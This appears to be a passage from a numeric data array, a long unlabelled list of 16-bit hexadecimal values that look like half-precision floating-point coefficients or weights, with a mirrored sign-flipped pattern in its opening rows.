0x41c4, 0xb241, 0x3b86, 0x3e9f, 0x43ad, 0xbd71, 0x391d, 0x3d78,
0x30b0, 0x35af, 0xb807, 0x3c4b, 0x3662, 0xc314, 0xc13c, 0x3dc7,
0x448a, 0x343b, 0x388e, 0x3e50, 0x4248, 0x408e, 0x4213, 0xc368,
0x4216, 0x435f, 0xba92, 0xb56d, 0x3c47, 0x407d, 0xc2e5, 0xb73d,
0xb3f0, 0xbc4f, 0xc140, 0xb99f, 0xb98f, 0xc0cd, 0x2a88, 0xbe0c,
0xb24b, 0x0, 0x2a88, 0x3e0c, 0xb98f, 0x40cd, 0xc140, 0x399f,
0xb3f0, 0x3c4f, 0xc2e5, 0x373d, 0x3c47, 0xc07d, 0xba92, 0x356d,
0x4216, 0xc35f, 0x4213, 0x4368, 0x4248, 0xc08e, 0x388e, 0xbe50,
0x448a, 0xb43b, 0xc13c, 0xbdc7, 0x3662, 0x4314, 0xb807, 0xbc4b,
0x30b0, 0xb5af, 0x391d, 0xbd78, 0x43ad, 0x3d71, 0x3b86, 0xbe9f,
0x41c4, 0x3241, 0x3ea3, 0xc0fe, 0x3cd1, 0x3f5e, 0xbb52, 0x3e8d,
0x3c76, 0xc49a, 0xad52, 0xbc4b, 0x37b2, 0xbc9c, 0x2de9, 0x2daa,
0x39c0, 0x41c7, 0xbe66, 0x3fbe, 0xc0b8, 0x41de, 0xb3a8, 0xbf2c,
0xbe27, 0x3ecc, 0x20aa, 0xbb83, 0x9c4c, 0xc526, 0xc18c, 0xb989,
0x3e99, 0x3da1, 0x35e4, 0x35ba, 0xb603, 0x43cb, 0xbdcc, 0x400d,
0x3985, 0xc59a, 0xa829, 0x4116, 0xbef1, 0x406c, 0xc270, 0xc03b,
0xc199, 0xbd19, 0xb7b1, 0x34fd, 0x4001, 0xaf08, 0x4059, 0xc442,
0x37a4, 0xc3a8, 0xb0e3, 0xb974, 0xbd72, 0x42a3, 0xa87c, 0x40fe,
0xbd9a, 0x3887, 0xc1fc, 0xba27, 0x3a91, 0xc091, 0x403c, 0xbfbe,
0xc42d, 0x446c, 0xb6ad, 0x342c, 0x35be, 0xc151, 0x410a, 0xc107,
0xc11e, 0xb5b6, 0xc434, 0xc056, 0xbe2e, 0x43de, 0xc1a9, 0xb5fe,
0xc1f7, 0x367b, 0xc0b7, 0xbc5c, 0xbe6f, 0xbf6d, 0x3366, 0x3d49,
0x3fd7, 0x3fba, 0xbcef, 0x3eb1, 0xba0d, 0xb8f4, 0xc0e6, 0xaef6,
0x3d15, 0x3f5a, 0xc276, 0x3d82, 0xc0a9, 0x3c17, 0x38c0, 0xc0f2,
0x3a74, 0x3dc2, 0xc29d, 0xbaf8, 0xbc5b, 0x3e03, 0xb00c, 0xb622,
0xc07c, 0x3b60, 0xc0b0, 0xb9a7, 0xbb0d, 0x3cdf, 0xbe59, 0xc100,
0xba9d, 0x4023, 0x407a, 0xbf1a, 0xc043, 0xc12e, 0x3dd2, 0xbb5c,
0xbcb4, 0x3e18, 0x3d00, 0x424a, 0xc1ce, 0xbdd0, 0x35e0, 0xc21f,
0xc430, 0xbcfb, 0xb8e2, 0x3749, 0xbd0d, 0x3ce1, 0xbf02, 0x4124,
0xa0fc, 0xc035, 0x43c3, 0x3c7c, 0x4073, 0x1d97, 0x401a, 0xc156,
0x4189, 0xc082, 0x42a5, 0x3929, 0x2952, 0x3ed9, 0xc456, 0x3899,
0xb887, 0xbf89, 0xc05a, 0xc01b, 0x40cd, 0xc1c6, 0xc389, 0xb857,
0x42ba, 0x4394, 0xc17b, 0x3ae6, 0xb8d8, 0x3e46, 0xb9ea, 0x3b29,
0xc20b, 0xc48a, 0x38ce, 0x444e, 0xbe04, 0xc337, 0x3a28, 0xbdcc,
0x4167, 0x3d15, 0xbd31, 0xbb46, 0x44fa, 0xb648, 0xc293, 0xc4e0,
0x4042, 0x4136, 0xc22f, 0x436e, 0x3729, 0x2594, 0xc185, 0x3728,
0xc44a, 0x4410, 0xbd6f, 0x4278, 0xbcc9, 0x3f6d, 0xbc3f, 0xba9d,
0x4129, 0x40f6, 0x3fd4, 0xc0e7, 0x3f43, 0x4465, 0x1931, 0x37ab,
0x3f31, 0x3ae4, 0x371d, 0x4270, 0xb181, 0x3776, 0xb696, 0x4054,
0xb472, 0x3e97, 0xb03a, 0x3cc4, 0xc02f, 0xc325, 0x4069, 0xc0f0,
0xc042, 0xbd73, 0xc2b3, 0xc151, 0x4206, 0xc22a, 0x4587, 0x3d57,
0xa6b8, 0x42d2, 0xbee3, 0xb797, 0x408e, 0xbb41, 0xbdf9, 0xc536,
0xc3b0, 0xc0f0, 0xb49c, 0x39cc, 0x446c, 0x3e3c, 0x3dc4, 0x41d9,
0xc4d7, 0x3cd4, 0x458c, 0x38b5, 0xbeee, 0x3755, 0x411d, 0x4056,
0x3b3d, 0xc3fa, 0xbe9a, 0x3e70, 0xc4f5, 0x3d66, 0x3c17, 0xc569,
0x371a, 0x3ee8, 0xb188, 0x2df0, 0x3681, 0xb1e4, 0x342b, 0xb8ee,
0x398b, 0x37af, 0x326d, 0x4172, 0x3cfd, 0xc567, 0x3e14, 0xbd15,
0xb85f, 0x3323, 0xbd08, 0xbeaf, 0x3f57, 0x38bb, 0x3a1a, 0x40b6,
0xc476, 0x2eb4, 0x44bd, 0x3fa6, 0x3d7e, 0xc015, 0x3897, 0x4098,
0x3c7a, 0xb747, 0xb680, 0x3578, 0x3709, 0x4574, 0x3c6a, 0x4520,
0x3c61, 0x41e9, 0xb80f, 0x3ea8, 0x4131, 0x427c, 0xbeb1, 0x38f0,
0xc00a, 0xc01a, 0xbb00, 0x41c4, 0x4128, 0x3cc3, 0x3ad8, 0x38dc,
0xbeec, 0xbf9e, 0xb889, 0xbb49, 0x4389, 0x3ba9, 0x3af5, 0x4731,
0x405b, 0xc04c, 0x355c, 0x3c77, 0xc02a, 0xc188, 0x404b, 0x3c48,
0x3b66, 0x3e30, 0x44e0, 0xc3a3, 0x45d3, 0x39b1, 0xb040, 0xbeb8,
0xb874, 0x3d18, 0xb4bc, 0xb6e1, 0xc030, 0xc1c9, 0x2dc3, 0xc1f2,
0x38d7, 0xbdc5, 0xbd08, 0x4439, 0x31c5, 0x3a9f, 0x3cb5, 0x3e62,
0xc10a, 0xb8bb, 0x2d32, 0x3c41, 0xb6ff, 0x26a2, 0xc0ad, 0x340a,
0xbfed, 0x3f33, 0x444f, 0xc49e, 0xbfd0, 0xc0e9, 0x4359, 0x400b,
0x389a, 0x3c75, 0x3e30, 0x30eb, 0x3c43, 0xbc2d, 0xbe1f, 0x402c,
0x42f0, 0x4057, 0xbf48, 0xbe14, 0x3a5b, 0xbfeb, 0xbe43, 0x36f2,
0xad0d, 0x3bc2, 0xc01f, 0x3d61, 0xbefc, 0xb68f, 0x3b27, 0xb371,
0x3fc8, 0xbe21, 0x3f1b, 0x3ec6, 0xbdb0, 0xb267, 0xbe79, 0xb621,
0x3ca6, 0xc1a4, 0xbb87, 0x46b8, 0xbcad, 0xc119, 0xb99d, 0x4049,
0x391f, 0x3b1d, 0x295e, 0xbf6e, 0x31ee, 0xc2b6, 0x4169, 0x3d40,
0x3c22, 0x3c03, 0xad2c, 0x4257, 0x435b, 0xbd02, 0x3044, 0xbb14,
0xbcb9, 0xc00d, 0xbefe, 0x42a8, 0x3de5, 0xc419, 0xa628, 0xadec,
0x3f68, 0xb763, 0x4480, 0x3d98, 0xc04f, 0xba87, 0x22ab, 0xc52e,
0x3db5, 0xc5a1, 0x3fcb, 0xc39e, 0xc2b4, 0xbc43, 0x4214, 0x41e3,
0x3cf1, 0xc20c, 0xb5e3, 0xc186, 0x30c4, 0x46cb, 0x40ef, 0xc13e,
0xbe7c, 0x3636, 0xc0ee, 0x3a9f, 0x3d44, 0xbe87, 0x403f, 0x3c07,
0xc217, 0xb29f, 0xc1e0, 0x3fba, 0xc098, 0x3b69, 0x41f4, 0x3c73,
0x390a, 0x444c, 0x3b47, 0x3dfa, 0xc00e, 0xb2dd, 0x3dd3, 0xc2b6,
0xbcda, 0x423d, 0x3f1b, 0xb3c0, 0xc04b, 0x382c, 0xc40b, 0x3706,
0xc4bb, 0x3a72, 0xc2ea, 0xc5a7, 0x4603, 0x33b9, 0xc48c, 0x3c8f,
0xc023, 0xc0a3, 0x430e, 0x3c85, 0xb2bc, 0xbcff, 0xb17d, 0x380b,
0x3c3a, 0xaeb0, 0x3ca6, 0x3d56, 0xc07f, 0xc14b, 0x3fcb, 0x3ebf,
0x39f9, 0xc276, 0x3cec, 0xbf5d, 0x3f08, 0x3ae9, 0xc322, 0xc241,
0x4498, 0x3f26, 0x3da8, 0xc20f, 0x44a4, 0x3fd6, 0x3bcf, 0x3eeb,
0x4253, 0x378e, 0xc0f6, 0x3cf4, 0xbf54, 0xb9d0, 0xc3ee, 0x2aac,
0x42ce, 0xb7e0, 0xc07f, 0x2e0b, 0xc17c, 0x3cb5, 0x2ed5, 0xc4cc,
0xbec7, 0x3c2f, 0xc045, 0xb4a0, 0x3e2b, 0x3d57, 0xc019, 0x3694,
0x394d, 0xbf48, 0x34a5, 0x42a5, 0xbfa4, 0x3011, 0xbde1, 0xbef6,
0x3edc, 0x39ab, 0xb9a1, 0xc22a, 0xbb7d, 0x4209, 0xc39c, 0x34b5,
0xc144, 0xb5ee, 0xc380, 0xc022, 0xc122, 0x379f, 0xb78b, 0x45da,
0x42fc, 0x3af7, 0xc023, 0xbb76, 0xc23e, 0xc2c7, 0x36bf, 0xc47f,
0xbcf4, 0xc1ac, 0x42ba, 0xac6a, 0xbf20, 0x3a3a, 0xc02c, 0x3885,
0x3be9, 0x3dcb, 0xbcc4, 0xbe15, 0x3bec, 0xc7e6, 0xb81b, 0xc078,
0x3cdc, 0xb819, 0x44b9, 0x3973, 0xc049, 0xc11f, 0xbd19, 0x3592,
0xc04c, 0x4070, 0x41fa, 0xc465, 0x3edc, 0x3ffd, 0xc235, 0x3dca,
0x3f87, 0xbcc9, 0xb563, 0xc432, 0xbe8e, 0xbd65, 0x4098, 0x3e40,
0x3e4b, 0xbeae, 0xb90b, 0x374b, 0xc0f8, 0x3fc6, 0x4406, 0xc402,
0x4464, 0x3984, 0xbdc4, 0x4456, 0xbc88, 0x3d0d, 0x3cd6, 0x4081,
0x33c4, 0x4248, 0xbd84, 0x3bcd, 0xc0db, 0x417b, 0x1fd7, 0x41b7,
0x4048, 0x3fbf, 0xb62a, 0x38b6, 0x4200, 0xa925, 0xc3f7, 0xc0e1,
0x3d36, 0xaab5, 0xb34f, 0xc2d5, 0x426e, 0xc50b, 0x28a6, 0x3c03,
0x4151, 0x4096, 0x3dd6, 0x3873, 0x4048, 0xa92c, 0x4092, 0xb506,
0x416a, 0x31c8, 0x3d37, 0x41a5, 0xc4bf, 0xc17c, 0xb4d9, 0xbb98,
0x267f, 0x3f0b, 0x30af, 0xc3e0, 0x3840, 0x30ea, 0x4339, 0x2c80,
0x403c, 0x3ae0, 0xb8f3, 0xbb37, 0x37de, 0xc297, 0x3f3e, 0xbbf3,
0x40e6, 0x3f91, 0xbfb0, 0x310e, 0x2d8c, 0x3cab, 0x39f3, 0x3ca8,
0xb641, 0x4445, 0x44f9, 0x3e31, 0x4062, 0xbf3b, 0x4028, 0x4153,
0x35c5, 0xb63f, 0xb0ce, 0xc0cd, 0xbd45, 0xc126, 0xbd4d, 0x44e0,
0xc3dc, 0xbe18, 0x42bc, 0x402d, 0x4271, 0x3dbd, 0x381a, 0x391e,
0x42da, 0xbd23, 0xbd97, 0x382c, 0xb2c9, 0xc3fc, 0x400d, 0x3b0f,
0xc2ab, 0x41ff, 0x4472, 0xc0c5, 0xb7e8, 0xb58d, 0x3ec4, 0x32d9,
0x3d2e, 0x42b9, 0x3e3a, 0x40c2, 0xc2ac, 0x4267, 0x365c, 0x3c42,
0xbc67, 0x3912, 0x3d5f, 0x431d, 0x3846, 0x3f38, 0x3dec, 0x3c6f,
0xb9de, 0xc143, 0xbebb, 0xb423, 0xc2b9, 0xba9a, 0xbc7f, 0xbd00,
0x3c78, 0xbebd, 0x391e, 0x2deb, 0x425e, 0xc4f6, 0x3c1b, 0x3b63,
0x3cd1, 0x40be, 0x4106, 0x4281, 0xc063, 0xbfc2, 0x4433, 0xc043,
0x3c58, 0xc08c, 0xbcd7, 0x349b, 0x403a, 0xb6c3, 0xbce4, 0xbaa4,
0x41c1, 0x3e37, 0xb624, 0x44a9, 0xbf84, 0xbcda, 0x357c, 0xb7b2,
0x43e4, 0x3a0d, 0x4213, 0x4127, 0xc752, 0x3d52, 0xbec0, 0x3a8c,
0x2130, 0x424e, 0x411f, 0x3aaf, 0x38be, 0xc098, 0xb522, 0x424b,
0xc2ab, 0x42d6, 0x45ad, 0xba95, 0xb4e0, 0xc218, 0x4043, 0xc113,
0x387b, 0x3d5a, 0x3d6f, 0xc42d, 0x3e87, 0xbd61, 0x3a6d, 0xc052,
0x3f76, 0x3e3d, 0x2e4a, 0x443f, 0x42c3, 0xb662, 0xbb8e, 0x36dd,
0x40b6, 0xc011, 0x33b1, 0xc3f5, 0x440e, 0x323a, 0xbec4, 0xba8a,
0xbfcf, 0xc056, 0x3edb, 0x2bb8, 0xbcba, 0x4113, 0x4463, 0xbf5b,
0x4120, 0x405e, 0xc10a, 0x35f6, 0x3d4e, 0xc3e7, 0x410b, 0xb9e0,
0x37bf, 0x3db9, 0x3d43, 0xb2a1, 0xbea0, 0x3594, 0xc29a, 0xc48b,
0xc0f7, 0x3613, 0xc112, 0xbe14, 0x3df7, 0xc136, 0x3fe0, 0xbf73,
0xbaaa, 0x4036, 0x3ff8, 0xbeff, 0xc09e, 0x3cd9, 0x427d, 0x433c,
0xb4b5, 0xc2d5, 0xc109, 0x4344, 0xb8b3, 0xc485, 0xc10d, 0x3813,
0xbed8, 0x4204, 0x42cb, 0x3a72, 0xc0a7, 0xb593, 0xbd32, 0x396d,
0x3d1a, 0x3c67, 0x38a0, 0x40e8, 0x3c6c, 0x3bae, 0x3075, 0xbd62,
0x3c5b, 0xaae6, 0xbb52, 0x3557, 0xc1f1, 0xac2a, 0xbdc4, 0xc433,
0x3e77, 0xb458, 0xbb35, 0x3f1c, 0x3e44, 0xc323, 0x4294, 0x3eb1,
0xc03f, 0x421d, 0x25e5, 0x3444, 0xc25b, 0xbcca, 0xaf9f, 0x3c9f,
0x354a, 0x401a, 0x437c, 0xbe1b, 0x32cb, 0x3ea8, 0xb904, 0xb717,
0x35e5, 0xc3ac, 0x3d2f, 0x3c05, 0xc2db, 0x3943, 0xc480, 0x4036,
0xc304, 0xb924, 0x44eb, 0xbd84, 0xbd5c, 0xc4fe, 0xc2a2, 0x4429,
0xc051, 0x2919, 0x410d, 0x43c9, 0x4174, 0xc471, 0x4569, 0xb9df,
0xb6c2, 0x3b82, 0xbfba, 0xc4c2, 0xb59e, 0xba8c, 0xc173, 0xb83f,
0x40e8, 0x3d4e, 0x4234, 0x4085, 0xbbc9, 0x3cb1, 0xc263, 0x3db0,
0x3f94, 0x4031, 0x4409, 0x42df, 0x3d36, 0x3f52, 0x3a78, 0xab57,
0xb1e5, 0x42d1, 0x40b6, 0x31b3, 0xbd95, 0x4197, 0x3859, 0x3954,
0x410e, 0x3bff, 0x40d2, 0xa8ed, 0xc38a, 0xac85, 0xbe06, 0x4084,
0x3f43, 0x3824, 0xc0f2, 0x41a3, 0xb66a, 0x3d4e, 0xbc06, 0x4341,
0xc199, 0x3e33, 0xbeee, 0x3ed0, 0xc444, 0xbf86, 0xbbf2, 0xc19a,
0xb16e, 0x3afa, 0x3e68, 0xbcb3, 0x2c17, 0xc052, 0xbc17, 0x41a8,
0xb4c7, 0xbc7c, 0x3f59, 0xb807, 0x4047, 0xc1ae, 0xb2f7, 0xc2de,
0x34d4, 0xa95f, 0x2ee9, 0x3058, 0x4266, 0xbc14, 0x3e56, 0xc2c4,
0x404b, 0xb865, 0xb41f, 0xc5c1, 0x3048, 0x458f, 0x4106, 0xb3be,
0xc01a, 0x3f83, 0xc07b, 0xbd3c, 0x3c54, 0x37c2, 0xb8ea, 0xa88b,
0x3c14, 0xbda9, 0xacb7, 0x3e4e, 0x4298, 0xc0b7, 0xb8a0, 0x402e,
0x3850, 0xbe86, 0x4055, 0x410b, 0x4356, 0x3961, 0xc197, 0x3e53,
0xc39a, 0x3c79, 0xbc34, 0x2efa, 0x391f, 0xc14c, 0x3798, 0xb789,
0xc239, 0xb9a6, 0xc045, 0x3434, 0xc084, 0xc061, 0x3ee8, 0xc08e,
0xbf63, 0x419f, 0x3cca, 0xbcd2, 0x3d5e, 0x3076, 0x42d5, 0xbdfa,
0x39ac, 0x314e, 0xb34c, 0x3da1, 0xc24a, 0x283d, 0x3b9c, 0x2fc2,
0xc300, 0xba79, 0x41bb, 0xb4e9, 0x44ff, 0x3f37, 0x4343, 0x3c47,
0x3f52, 0xbbdb, 0x3b78, 0x3e04, 0x4316, 0x3ed5, 0x40aa, 0x3400,
0x4016, 0x402b, 0x3e0e, 0x3cc3, 0x4343, 0xb4e0, 0xc462, 0xbec5,
0xc425, 0x4407, 0x4198, 0xb13c, 0x4099, 0xc0a5, 0xbac6, 0xb0ec,
0x3f77, 0xc231, 0xc455, 0x29bd, 0x4782, 0xbd18, 0x41ba, 0xc01c,
0xab41, 0x4046, 0xbf21, 0x34ee, 0x3968, 0x41a8, 0x4416, 0xc235,
0x26d4, 0x39b0, 0xb27d, 0xbb69, 0x3a5c, 0xc398, 0xb518, 0x39ce,
0x3cbb, 0xbcad, 0x3c3e, 0x40cf, 0x40ab, 0xc439, 0x3040, 0xc032,
0xc368, 0xc2b6, 0xc29f, 0xc31b, 0x3f23, 0xbb43, 0xbbb5, 0xc036,
0x3c58, 0xb8eb, 0xc466, 0xbae9, 0x3fee, 0xbdeb, 0x426d, 0x3c8a,
0xc48d, 0xbefd, 0xbc8c, 0xac70, 0xc3ad, 0xac51, 0x3c8f, 0xbdea,
0xba36, 0x361c, 0x3bb2, 0xbd37, 0x334a, 0x416d, 0x39ce, 0x3cba,
0xa24d, 0xc14b, 0x359c, 0x4703, 0x312a, 0xb9b0, 0xbafa, 0xbfb9,
0xc124, 0xc00b, 0x4194, 0x3ff8, 0x3756, 0x41f8, 0xbba0, 0x2cd8,
0x401d, 0xbe33, 0xc15c, 0x3c84, 0xb21d, 0x3c16, 0xbc74, 0xc126,
0xae10, 0xb66b, 0xbe3f, 0xbf03, 0x3e49, 0xbf14, 0x3fa7, 0xbe2e,
0xb00f, 0x3952, 0x3fe5, 0xb630, 0x420e, 0x3bff, 0xc1e2, 0xc06d,
0xc1e6, 0xa940, 0x4032, 0xbed0, 0xbd87, 0x3ce5, 0xc160, 0x4362,
0x3e6e, 0xc5b7, 0xc4fd, 0xb829, 0xbf3b, 0xc10d, 0x41ef, 0x3fe6,
0xb8fc, 0xbda1, 0xb79f, 0xba4b, 0xc59e, 0xbd52, 0x38ee, 0x4079,
0x3b16, 0x4114, 0xbc0c, 0x402b, 0x3f60, 0xbc8b, 0x3edb, 0xbc65,
0x4040, 0xaeef, 0xbae8, 0xb5f3, 0x41c8, 0x321d, 0x38ed, 0x4078,
0x3e55, 0xbfe0, 0xbe99, 0xb5e6, 0x40d9, 0xc263, 0x4307, 0xbdf7,
0xbc48, 0x3dd1, 0xc089, 0xc029, 0xb718, 0xc0b9, 0x3b0b, 0xc212,
0xc52a, 0xbd14, 0xb978, 0xc15e, 0xc2bf, 0xc45e, 0xc3ea, 0x431d,
0x44c5, 0x4114, 0x3c4d, 0x3523, 0x3a0d, 0xb5df, 0xb67b, 0x4110,
0xac03, 0x3c61, 0xb04a, 0xb623, 0xb992, 0x3a2a, 0xb996, 0x42a5,
0x3984, 0xbcd3, 0xc0c2, 0x4559, 0x431b, 0x40e2, 0xb8dd, 0x41b4,
0xc22a, 0x40d2, 0xc14c, 0x3da9, 0x4075, 0xc45a, 0xc149, 0x4442,
0xc2f7, 0xbf78, 0xbea2, 0xc178, 0x372e, 0x36f9, 0x3662, 0xa1c1,
0xac51, 0xc446, 0x419c, 0xbe4d, 0x41d4, 0xbd69, 0xbf4b, 0x4219,
0x4180, 0x3867, 0x2f79, 0xb897, 0x3d87, 0xb9f4, 0x3bd8, 0xc381,
0x4360, 0x2f27, 0xbe96, 0x3dce, 0xbcd4, 0xc120, 0x38fb, 0xb526,
0x432d, 0x32db, 0x3f7e, 0x4076, 0x43ac, 0xbc97, 0xb566, 0xbd11,
0xb098, 0xb825, 0xc3fa, 0x3a4d, 0xb047, 0x4199, 0xaccc, 0x4015,
0x42e6, 0xba8e, 0xbca5, 0xc245, 0x3c31, 0xc10f, 0xc088, 0x354d,
0x34bb, 0x40dd, 0x40f7, 0xc3b5, 0xc040, 0xbec4, 0x3d61, 0xc1ad,
0x3541, 0xbc38, 0x448f, 0x447e, 0xc135, 0xc2b7, 0x3dc4, 0x43bf,
0x3ac8, 0xbbee, 0xb961, 0x4268, 0xbd54, 0x3ed0, 0xbc34, 0x4429,
0xc106, 0xbb45, 0x3df4, 0xbd67, 0xc075, 0x3eae, 0xc682, 0x3fbf,
0x3360, 0x42d5, 0xb955, 0x3ce6, 0xbfca, 0x3f7d, 0x3938, 0x41d0,
0x4240, 0xb09e, 0xb8eb, 0xbce5, 0xbe30, 0xc5b2, 0x40be, 0xbfe7,
0xc1d4, 0xb2a2, 0xc32a, 0xa85a, 0xbc91, 0xc0fa, 0xc446, 0xbda3,
0xbe29, 0xc05b, 0xb485, 0xc0d0, 0x3bba, 0x3bf2, 0xb8ba, 0x3d04,
0xbb96, 0xc29b, 0xbce6, 0xb852, 0xc40d, 0x38e7, 0x3daa, 0xc246,
0xc280, 0xbada, 0x33a2, 0xb826, 0xbffc, 0x3cbd, 0xc0c3, 0xc0c7,
0xad47, 0xc347, 0x3c82, 0xbeac, 0xb5f3, 0x3fdc, 0x4477, 0xc1fb,
0x4442, 0xc4c5, 0x3e42, 0xbe14, 0x39a7, 0xb7d1, 0xc1a1, 0xb684,
0x2cd6, 0x3cc6, 0xc397, 0xbdba, 0xb607, 0x4122, 0x4027, 0x42ff,
0x318e, 0xb888, 0x436a, 0x38a2, 0x4153, 0xbcd9, 0x4021, 0xb4a2,
0x4499, 0xb918, 0x36b9, 0x3404, 0x3f0a, 0xb070, 0x4064, 0xb4d4,
0x3701, 0x34f6, 0xbec2, 0xb17f, 0xc023, 0xbbca, 0xbcf7, 0x3c85,
0xb9ab, 0xbfe5, 0x3936, 0xbeec, 0x42da, 0xb3a1, 0xafdc, 0xc28b,
0xbdb4, 0xb51f, 0x3ec3, 0x432c, 0xb714, 0x4206, 0xc031, 0x44b5,
0x2fc7, 0x4050, 0xbbda, 0xbe6c, 0x3b3a, 0xbd1d, 0xc194, 0x4457,
0xb7e7, 0xb1ab, 0xb494, 0xb9f4, 0xbabc, 0x40a5, 0xb832, 0x39a4,
0x382e, 0xb2fa, 0xbe5a, 0xba9f, 0x3f99, 0xbfc0, 0xbdf3, 0x43b0,
0x3cab, 0x3849, 0xc57f, 0xb47e, 0xbde2, 0x3da2, 0x36ab, 0x38c6,
0x3bd4, 0x37f2, 0xc2ed, 0xc15f, 0x4460, 0x3e4f, 0xc321, 0x3503,
0xad6b, 0x38df, 0xbaaf, 0x38c0, 0xbd6f, 0x2c0d, 0x438b, 0x2f30,
0xc418, 0xba8f, 0xba2d, 0xc1ab, 0xb6c3, 0xbe31, 0xbe8a, 0x3c6d,
0x40c4, 0x3e70, 0x3a3d, 0xc32e, 0xbb97, 0xb193, 0xb4c4, 0x413b,
0x3b73, 0x39bd, 0xb7b6, 0xbdd1, 0x4101, 0x3c1c, 0xbbf6, 0x38b0,
0xba52, 0xb79c, 0xbe88, 0x4056, 0x3246, 0x39e5, 0x3f22, 0x4049,
0xb898, 0xc435, 0xc183, 0x40aa, 0x3eb4, 0x302c, 0xbc4c, 0x38b5,
0x40d2, 0xbb08, 0x4059, 0x41ff, 0x3abe, 0x39b9, 0xbbac, 0xc0b0,
0xb9b9, 0xc0fe, 0x4131, 0x3ecb, 0xb61c, 0x3ea8, 0xb7e1, 0xc0c7,
0xbc9d, 0xb666, 0x4153, 0x38bf, 0x3cca, 0x4285, 0x34a5, 0xac1f,
0x42b3, 0x3d67, 0x3af1, 0x3579, 0x3b93, 0x3e11, 0xc277, 0x4063,
0xbaeb, 0xb75a, 0xb4de, 0xb7c8, 0xc286, 0xba60, 0x3ed9, 0xb98d,
0x2f72, 0xba55, 0x3373, 0x3e78, 0x3cf9, 0x385f, 0xb908, 0xc187,
0x433a, 0x3ab6, 0x4292, 0x2254, 0x3588, 0xc007, 0x345a, 0x4045,
0x3e62, 0x4145, 0x4003, 0x4340, 0xc0ca, 0x3113, 0x3a38, 0xc12d,
0xbbc1, 0xb69b, 0xb9fe, 0xc2c8, 0xbc81, 0xc43b, 0x3e2d, 0x3a99,
0x401b, 0x3e7d, 0x3ab5, 0x376a, 0xbfee, 0x339c, 0x440f, 0x3fac,
0x3939, 0x3f60, 0x36f1, 0x3e46, 0xbc17, 0x4184, 0xbe64, 0xbcb2,
0x4171, 0xb8a6, 0xbce8, 0xc095, 0xb0d5, 0x32a8, 0x385a, 0x3ecb,
0xbc5e, 0xbb36, 0xbc5e, 0xc31a, 0xc277, 0x3f8a, 0xb5a2, 0x2b83,
0xbed6, 0x2f69, 0x40e8, 0xc236, 0xc19c, 0xb991, 0xc178, 0x3a25,
0x4443, 0xbea0, 0xc1e5, 0x3b46, 0xc35a, 0xab0c, 0xbd94, 0x3bc6,
0x3ce5, 0xb8e0, 0xb304, 0xc337, 0xc2fb, 0xb92a, 0xbf1b, 0xbc6c,
0xc4a5, 0x3d2f, 0x342f, 0x4131, 0xbf22, 0xb6fb, 0xc51d, 0x3584,
0x3e53, 0xb637, 0x450e, 0x43ac, 0x3f70, 0x3873, 0xbc09, 0x41d8,
0xb835, 0xc0fa, 0x3cfd, 0x443f, 0x41ff, 0xb771, 0x42bc, 0x4356,
0xba27, 0xb4c5, 0xc2a8, 0x3ebb, 0xbc5d, 0xbd62, 0xbc24, 0x2d44,
0x3e2e, 0xc11a, 0x3980, 0xabe4, 0xc0f0, 0x45bd, 0xba4e, 0xb56f,
0xba65, 0xc158, 0xbf0b, 0x31d9, 0x430c, 0xbdd5, 0x4478, 0x3f7f,
0x3e57, 0xc15e, 0x3ced, 0xb5a4, 0xb8d8, 0xb8b0, 0x41e5, 0xbefa,
0xb3d3, 0x2fd7, 0xbc37, 0xc5e3, 0x448a, 0xc3d9, 0xc196, 0xbad4,
0xb4e6, 0xc4d2, 0x41dc, 0x2c31, 0x3a72, 0xc186, 0xc63e, 0x3d48,
0x3a19, 0x35a8, 0xbc30, 0xbbca, 0x4238, 0xbde8, 0x4196, 0x3df5,
0xbde5, 0xaf6f, 0xc074, 0xb806, 0xbdf0, 0x4161, 0x3acc, 0x4325,
0xaad1, 0xc1d9, 0x4329, 0xb52e, 0xbb54, 0xbe09, 0x40ce, 0x401d,
0x3ec5, 0xc499, 0xb33f, 0x3606, 0xc4d1, 0x325d, 0xc0c5, 0x3686,
0x3943, 0x40e9, 0x3ac1, 0xc1d6, 0xb81e, 0xb552, 0xc0b6, 0x3b91,
0xbea6, 0xbcda, 0x4407, 0xc1bc, 0x34a6, 0x3b9a, 0xb6e8, 0x40df,
0x4040, 0xc4e9, 0xbc9f, 0x2262, 0xbf1c, 0xbef1, 0xc419, 0xb8d5,
0xc4c1, 0xc0d2, 0xbe90, 0xbaba, 0xb89d, 0xb40a, 0xc3bb, 0x40ee,
0x3e27, 0x407e, 0xc1e6, 0xbdb9, 0xba1b, 0xb87e, 0x4177, 0x4350,
0xc2f9, 0x3cfb, 0x2303, 0x373f, 0x4231, 0x3f78, 0xc334, 0xc465,
0x458a, 0xbd83, 0x384a, 0xc0e0, 0xc061, 0x379a, 0xc554, 0x4189,
0x388b, 0xbff6, 0xc04b, 0xbc85, 0x4083, 0xa425, 0x3ff0, 0xc330,
0x3e30, 0xb4b6, 0xb965, 0x36d9, 0x37c3, 0x3a0f, 0x41b0, 0xbb0a,
0x4095, 0x406a, 0x446a, 0x3c6d, 0xb65e, 0x409b, 0xbae7, 0xc10b,
0x4288, 0xc1ec, 0x37da, 0xc298, 0xb6ef, 0xb8f9, 0xbff5, 0xb504,
0x2a76, 0x3339, 0x35bb, 0x44cf, 0xb65b, 0xbe09, 0x32a8, 0xbd9f,
0xb8d9, 0xb91b, 0x3d8e, 0xbd73, 0x37b4, 0x3a40, 0x41e6, 0xc001,
0x2eb5, 0xc175, 0x4094, 0xbdbb, 0x3e77, 0x4078, 0xbd20, 0xaed3,
0x455e, 0x42a9, 0xbe25, 0x445a, 0x3c9f, 0xc14a, 0x3c34, 0xb538,
0xbd73, 0xb951, 0xb15a, 0x379c, 0xbf49, 0x36b2, 0xc00e, 0x38ef,
0x3f68, 0x3f65, 0xc03c, 0x3904, 0x2eff, 0x365c, 0xbf04, 0xb11a,
0x4407, 0x268c, 0xbfdc, 0x418c, 0xbc19, 0xba79, 0xbc31, 0x3ce0,
0xbd7d, 0x3e59, 0xbc32, 0x418b, 0x39b0, 0x338c, 0xb7dd, 0xba3e,
0xc1bb, 0xc113, 0xc251, 0x44e3, 0xbbec, 0xbf5a, 0x455d, 0xc572,
0x3d31, 0xc478, 0x4623, 0x3c24, 0xc17d, 0x4017, 0xc031, 0xa561,
0xb937, 0x37b6, 0x4626, 0x38e6, 0xb774, 0xb654, 0x3e53, 0xbad7,
0x43cc, 0x361f, 0xbfdc, 0xc306, 0xbbe4, 0x4000, 0x3d84, 0x3a39,
0x3e79, 0xbb9c, 0xb0a9, 0x3cc6, 0x3a98, 0xbdd8, 0x3c13, 0xc1da,
